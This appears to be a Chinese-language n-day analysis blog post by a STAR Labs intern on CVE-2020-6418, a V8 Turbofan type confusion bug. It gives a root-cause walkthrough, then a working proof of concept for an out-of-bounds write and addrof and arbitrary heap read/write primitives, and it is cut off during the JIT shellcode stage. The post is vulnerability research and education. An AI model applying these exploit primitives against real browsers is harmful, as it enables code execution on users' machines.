深入解析与利用CVE-2020-6418 | STAR Labs
December 21, 2022 · 15 min · Daniel Toh Jing En
目录
背景
作为在STAR Labs实习的一部分,我对CVE-2020-6418进行了n-day分析。该漏洞存在于Google Chrome的V8引擎中,具体是其优化编译器Turbofan。易受攻击的版本是Google Chrome V8 80.0.3987.122之前版本。在本文中,我将逐步分析该漏洞,从根因到利用。
在JavaScript中,对象没有固定类型。相反,V8为每个对象分配一个反映其类型的Map。如果Map在特定时间点保证正确,则被认为是可靠的;如果可能被其他节点修改,则不可靠。如果Map不可靠,则在使用对象前必须检查其类型是否正确。这是通过插入CheckMaps节点或CodeDependencies来实现的。在优化时,Turbofan旨在插入尽可能少的Map检查,并仅在必要时(即当Map不可靠且将被访问时)进行。
然而,JSCreate节点的副作用被错误建模,可能导致Map被标记为可靠,即使它已被JSCreate的副作用更改。这导致了类型混淆漏洞,其中Map指示的对象类型与内存中实际存储的对象类型不同。因此,在访问对象时,可能访问到对象分配内存之外的内存。
该漏洞在2年前的V8版本中已修复。使用提供的补丁,我们在较新版本的V8中重现了该漏洞以进行利用。
1
2
3
4
5
6
7
8
9
10
11
12
|
diff --git a/src/compiler/node-properties.cc b/src/compiler/node-properties.cc
index 051eeeb5ef..504644e97a 100644
--- a/src/compiler/node-properties.cc
+++ b/src/compiler/node-properties.cc
@@ -418,7 +418,6 @@ NodeProperties::InferMapsResult NodeProperties::InferMapsUnsafe(
// We reached the allocation of the {receiver}.
return kNoMaps;
}
- result = kUnreliableMaps; // JSCreate can have side-effect.
break;
}
case IrOpcode::kJSCreatePromise: {
|
V8中的指针标记与压缩
为了区分V8中的小立即数(Smis)和指针,使用了指针标记。最低有效位用于标记值是指针(1)还是Smi(0)。
由于Smis占用32位内存,引入了指针压缩,使指针大小在64位架构上也为32位。
引入了32位隔离根(isolate root),对应于称为V8沙箱的4GB内存块的起始内存地址。隔离根然后与32位压缩指针组合以寻址64位内存。
由于双精度值仍使用64位(8字节)存储,对象数组和双精度数组将具有不同的大小,这对我们的分析很重要。
根因分析
漏洞位于node-properties.cc中的InferMapsUnsafe函数。该函数旨在基于Turbofan中的“sea of nodes”内部表示来确定目标对象(接收者)的Map是否可靠。它遍历效果链[1]直到找到Map的源[2]。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
NodeProperties::InferMapsResult NodeProperties::InferMapsUnsafe(
JSHeapBroker* broker, Node* receiver, Effect effect,
ZoneRefUnorderedSet<MapRef>* maps_out) {
HeapObjectMatcher m(receiver);
if (m.HasResolvedValue()) {
HeapObjectRef ref = m.Ref(broker);
if (!ref.IsJSObject() ||
!broker->IsArrayOrObjectPrototype(ref.AsJSObject())) {
if (ref.map().is_stable()) {
// The {receiver_map} is only reliable when we install a stability
// code dependency.
*maps_out = RefSetOf(broker, ref.map());
return kUnreliableMaps;
}
}
}
InferMapsResult result = kReliableMaps;
while (true) {
switch (effect->opcode()) {
//...
}
// Stop walking the effect chain once we hit the definition of
// the {receiver} along the {effect}s.
if (IsSame(receiver, effect)) return kNoMaps; //[2]
// Continue with the next {effect}.
DCHECK_EQ(1, effect->op()->EffectInputCount());
effect = NodeProperties::GetEffectInput(effect); //[1]
}
}
|
如果在遍历效果链时遇到MapGuard/CheckMaps节点[3],它也会返回当前结果(从该点起Map保证可靠,因为它被保护/检查)。如果节点已知有可能修改相关Map的副作用,则Map将被标记为不可靠。例如,如果节点中未设置kNoWrite标志,则节点可能更改Map,因此Map将被标记为不可靠[4]。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
switch (effect->opcode()) {
case IrOpcode::kMapGuard: { //[3]
Node* const object = GetValueInput(effect, 0);
if (IsSame(receiver, object)) {
*maps_out = ToRefSet(broker, MapGuardMapsOf(effect->op()));
return result;
}
break;
}
case IrOpcode::kCheckMaps: { //[3]
Node* const object = GetValueInput(effect, 0);
if (IsSame(receiver, object)) {
*maps_out =
ToRefSet(broker, CheckMapsParametersOf(effect->op()).maps());
return result;
}
break;
}
//...
case IrOpcode::kJSCreate: {
if (IsSame(receiver, effect)) {
base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
if (initial_map.has_value()) {
*maps_out = RefSetOf(broker, initial_map.value());
return result;
}
// We reached the allocation of the {receiver}.
return kNoMaps;
} //[5]
break;
}
//...
default: {
DCHECK_EQ(1, effect->op()->EffectOutputCount());
if (effect->op()->EffectInputCount() != 1) {
// Didn't find any appropriate CheckMaps node.
return kNoMaps;
}
if (!effect->op()->HasProperty(Operator::kNoWrite)) { //[4]
// Without alias/escape analysis we cannot tell whether this
// {effect} affects {receiver} or not.
result = kUnreliableMaps;
}
break;
}
}
|
但是,如果遇到不是Map源的JSCreate节点,则Map错误地未被标记为不可靠[5],即使JSCreate可能具有更改对象Map的副作用。这可以通过将Proxy作为第三个参数传递给Reflect.construct()来实现,该调用在内联阶段被简化为JSCallReducer::ReduceReflectConstruct中的JSCreate节点。因此,对象Map在修改后未被检查,导致类型混淆和堆损坏。
漏洞利用
类型混淆漏洞的利用通常始于使用数组进行越界(OOB)读/写,因为元素类型决定了堆中的访问偏移量。
例如,如果数组元素是对象,则偏移量为4字节(压缩指针),而双精度数将有8字节偏移量。当Map在更改后未被检查时,后续读/写的偏移量不会改变,即使偏移量可能超出堆中新分配对象的内存范围。
然后,此越界读/写可用于覆盖附近内存中另一个数组的长度字段,允许更广泛的越界访问。
阶段0:触发初始OOB写
PoC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
function f(p) {
a.push(Reflect.construct(function(){}, arguments, p)?4.183559238858528e-216:0); //itof(0x1337133700010000)
}
let p = new Proxy(Object, {
get: () => {
a[0] = {};
oob_arr = Array(1);
oob_arr[0] = 1.1;
return Object.prototype;
}
});
function main(p) { return f(p); } // Wrapper function
let a = Array(11);
a[0] = 1.1;
let oob_arr; // Target array to overwrite length
a.pop();
a.pop();
// Trigger optimisation
for (let i = 0; i < 0x10000; i++) { main(function(){}); a.pop(); }
main(function(){});
main(p);
console.assert(oob_arr.length === 0x8000); // Achieved OOB
|
我们将从双精度数组a开始。目前,它具有8字节元素大小。
为实现初始OOB写,我们在f中的Array.push()调用内嵌套使用Reflect.construct()调用。三元运算符提供了一种推送用户控制值以覆盖长度字段的方法。
我们还声明了一个代理p。此代理仅在我们想要触发OOB写时被调用。它将a[0]更改为空对象,从而将a的类型更改为对象数组(4字节元素大小)。这将在堆中重新分配数组。另一个双精度数组oob_arr也被分配,该数组将位于堆中a附近。
首先,我们多次调用该函数,不使用代理,以触发Turbofan的优化。该函数用外部函数main包装,以防止优化为非JSCreate调用,这在它是调用的最外层函数时发生。
在多次调用期间,使用Array.pop()确保数组大小保持小于其原始大小,以防止数组在内存中重新分配。
在函数的最终调用中,我们调用代理p。在a更改为4字节对象数组并重新分配后,Array.push()调用然后使用旧的8字节元素大小执行越界访问,覆盖oob_arr的长度字段。在我们的情况下,由于我们推送4.183559238858528e-216,它是IEEE表示中的0x1337133700010000。0x00010000将覆盖长度字段,导致oob_arr.length为0x8000(因为指针标记,0x10000表示整数0x8000)。
关于在Array.push()中嵌套Reflect.construct()
为了演示为什么嵌套在利用中很重要(而不是单独调用Reflect.construct()和Array.push()),我使用Turbolizer分析了Turbofan在TFInlining阶段生成的图(效果链),有和没有嵌套。我使用了原始Chromium错误帖子中提供的PoC。虽然这使用Array.pop()而不是Array.push(),但想法相同。
在所有图中,最后三个LoadField节点表示Array.pop()调用的开始。
对于图1,没有嵌套调用,在JSCreate和Checkpoint之间有一个JSLoadContext节点。该节点也出现在图2中,但在JSCreate节点之前。似乎JSLoadContext节点涉及在Checkpoint之后插入CheckMaps节点,因此嵌套调用允许CheckMaps节点在JSCreate之前插入而不是之后。
查看图3,我们可以看到非易受攻击版本即使有JSLoadContext和其他CheckMaps节点在JSCreate之前,也添加了CheckMaps节点。这表明JSCreate节点的副作用建模已修复。
阶段1:原语构建
通过覆盖数组oob_arr的长度,我们现在可以通过访问其元素执行进一步的OOB访问。现在最常见的步骤是实现addrof/heap_read/heap_write原语,这些原语允许我们查找对象的地址,并在堆中的地址上执行读/写。
这是通过声明另外两个分别包含双精度数和对象的数组来完成的。
1
2
3
4
|
let vic_arr = new Array(128); // Victim float array
vic_arr[0] = 1.1;
let obj_arr = new Array(256); // Object array
obj_arr[0] = {};
|
我们还声明了2个辅助函数,允许我们在从目标越界数组的元素指针测量的位置读/写32位值。
1
2
3
4
5
6
7
8
9
10
11
|
function oob_read32(i){ // Read 32 bits at offset from oob_arr elements
i-=2;
if (i%2 == 0) return lower(ftoi(oob_arr[(i>>1)]));
else return upper(ftoi(oob_arr[(i>>1)]));
}
function oob_write32(i, x){ // Write 32 bits at offset from oob_arr elements
i-=2;
if (i%2 == 0) oob_arr[(i>>1)] = itof( (oob_read32(i^1)<<32n) + x);
else oob_arr[(i>>1)] = itof( (x<<32n) + oob_read32(i^1));
}
|
要获取addrof原语,我们首先将所需对象放入对象数组。然后,我们用双精度数组的Map替换对象数组的Map。现在,当我们读取对象数组的元素时,两个32位指针将被视为64位双精度值,我们可以获取任何对象的指针。
1
2
3
4
5
6
7
8
9
|
function addrof(o) { // Get compressed heap pointer of object
obj_arr[0] = o;
vic_arr_mapptr = oob_read32(17);
obj_arr_mapptr = oob_read32(411);
oob_write32(411, vic_arr_mapptr);
let addr = obj_arr[0];
oob_write32(411, obj_arr_mapptr);
return lower(ftoi(addr));
}
|
对于堆读/写原语,我们将用要写入的压缩堆指针覆盖双精度数组的元素指针。我们需要+1以将值标记为指针,并-8因为元素指针和elements[0]地址之间有8字节偏移。请注意,由于指针被压缩,我们只能访问V8沙箱内的地址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
function heap_read64(addr) { // Read 64 bits at arbitrary heap address
vic_arr_elemptr = oob_read32(19);
new_vic_arr_elemptr = (addr -8n + 1n);
oob_write32(19, new_vic_arr_elemptr);
let data = ftoi(vic_arr[0]);
oob_write32(19, vic_arr_elemptr);
return data;
}
function heap_write64(addr, val) { // Write 64 bits at arbitrary heap address
vic_arr_elemptr = oob_read32(19);
new_vic_arr_elemptr = (addr + -8n + 1n);
oob_write32(19, new_vic_arr_elemptr);
vic_arr[0] = itof(val);
oob_write32(19, vic_arr_elemptr);
}
|
阶段2:使用即时数的Shellcode
本节主要基于此博客文章。
由于我们的V8版本启用了V8沙箱,使用ArrayBuffer的支持存储写入WASM内存的RWX页的常见方法将不再有效,因为RWX页位于V8沙箱之外,而我们只能使用原语写入V8沙箱内的地址。因此,我们将使用不同的方法。
当JS函数被Turbofan编译时,即时(JIT)代码将作为R-X区域存储在堆中(V8沙箱外),并创建指向代码开始的指针。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
d8> %DebugPrint(foo)
DebugPrint: 0x20aa003888a9: [Function] in OldSpace
- map: 0x20aa00244245 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x20aa002440f9 <JSFunction (sfi = 0x20aa0020aad1)>
- elements: 0x20aa00002259 <FixedArray[0]> [HOLEY_ELEMENTS]
...
- code: 0x20aa0020b3a9 <CodeDataContainer BUILTIN InterpreterEntryTrampoline>
...
d8> %DebugPrintPtr(0x20aa0020b3a9)
DebugPrint: 0x20aa0020b3a9: [CodeDataContainer] in OldSpace
- map: 0x20aa00002a71 <Map[32](CODE_DATA_CONTAINER_TYPE)>
- kind: BUILTIN
- builtin: InterpreterEntryTrampoline
- is_off_heap_trampoline: 1
- code: 0
- code_entry_point: 0x7fff7f606cc0
...
|
如果我们在编译函数中声明一个双精度数组,则用于加载即时值的64位IEEE表示也将作为R-X存储在堆中。
例如,如果我们在函数中使用数组[1.1, 1.2, 1.3, 1.4],生成的代码将如下所示:
1
2
3
4
5
6
7
8
9
10
|
pwndbg> x/40i 0x5554c00053c0
0x5554c00053c0: mov ebx,DWORD PTR [rcx-0x30]
...
0x5554c0005424: movabs r10,0x3ff199999999999a
0x5554c000542e: vmovq xmm0,r10
0x5554c0005433: vmovsd QWORD PTR [rcx+0x7],xmm0
0x5554c0005438: movabs r10,0x3ff3333333333333
0x5554c0005442: vmovq xmm0,r10
0x5554c0005447: vmovsd QWORD PTR [rcx+0xf],xmm0
0x5554c000544c: movabs r10,0x3
|